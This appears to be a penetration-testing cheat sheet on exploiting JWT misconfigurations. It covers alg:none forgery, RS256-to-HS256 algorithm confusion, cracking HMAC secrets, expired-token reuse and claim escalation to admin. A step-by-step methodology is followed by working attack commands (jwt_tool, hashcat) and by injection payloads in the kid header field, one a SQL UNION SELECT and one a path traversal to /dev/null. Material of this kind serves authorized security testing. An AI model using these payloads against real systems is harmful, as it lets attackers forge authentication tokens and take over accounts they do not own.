jwt-misconfig

JWT Misconfiguration

What Is Broken and Why

JWTs that accept alg: none, trust the algorithm declared in the token header, or use guessable HMAC secrets allow attackers to forge arbitrary tokens — including admin-level claims — without knowing any signing key. Algorithm confusion attacks exploit servers that accept both RS256 (asymmetric) and HS256 (symmetric): the attacker signs with the public key (which is public) using HS256 and the server verifies it as a valid HMAC.

Key Signals

• Authorization: Bearer <base64url>.<base64url>.<base64url> in requests
• JWTs stored in cookies (check httpOnly, Secure, SameSite flags)
• JWKS endpoint at /.well-known/jwks.json or /oauth/certs (exposes public key)
• alg field in JWT header — watch for HS256, RS256, none
• kid (Key ID) field in JWT header — check for path traversal or SQLi
• Short or dictionary-based HMAC secret (crack with hashcat)

Methodology

1. Decode the JWT header and payload (base64url decode each part).
2. Note the alg value; attempt to change it to none and remove signature.
3. If alg is RS256, fetch the public key from JWKS endpoint; re-sign with HS256 using the public key as the HMAC secret.
4. If alg is HS256, attempt to crack the secret with hashcat or jwt_tool.
5. Check kid value — test for path traversal (../../dev/null), SQLi, or SSRF.
6. Modify exp claim to far-future timestamp; attempt to use expired tokens.
7. Escalate claims: change role, admin, sub, userId in payload after forging.

Payloads & Tools

# jwt_tool — Swiss army knife for JWT attacks
pip install jwt_tool
jwt_tool TOKEN -X a           # alg:none attack
jwt_tool TOKEN -X s           # algorithm confusion (RS256→HS256)
jwt_tool TOKEN -C -d wordlist.txt  # crack HMAC secret

# hashcat JWT cracking
hashcat -a 0 -m 16500 TOKEN wordlist.txt

# Manual alg:none
# 1. Decode header: {"alg":"RS256","typ":"JWT"}
# 2. Change to:     {"alg":"none","typ":"JWT"}
# 3. Re-encode and append empty signature: header.payload.
# (trailing dot is required)

# kid SQLi
{"kid": "' UNION SELECT 'attacker_secret' --", "alg":"HS256"}
# Sign token with 'attacker_secret'

# kid path traversal (sign with empty string)
{"kid": "../../dev/null", "alg":"HS256"}
# /dev/null reads as empty → sign with empty string ""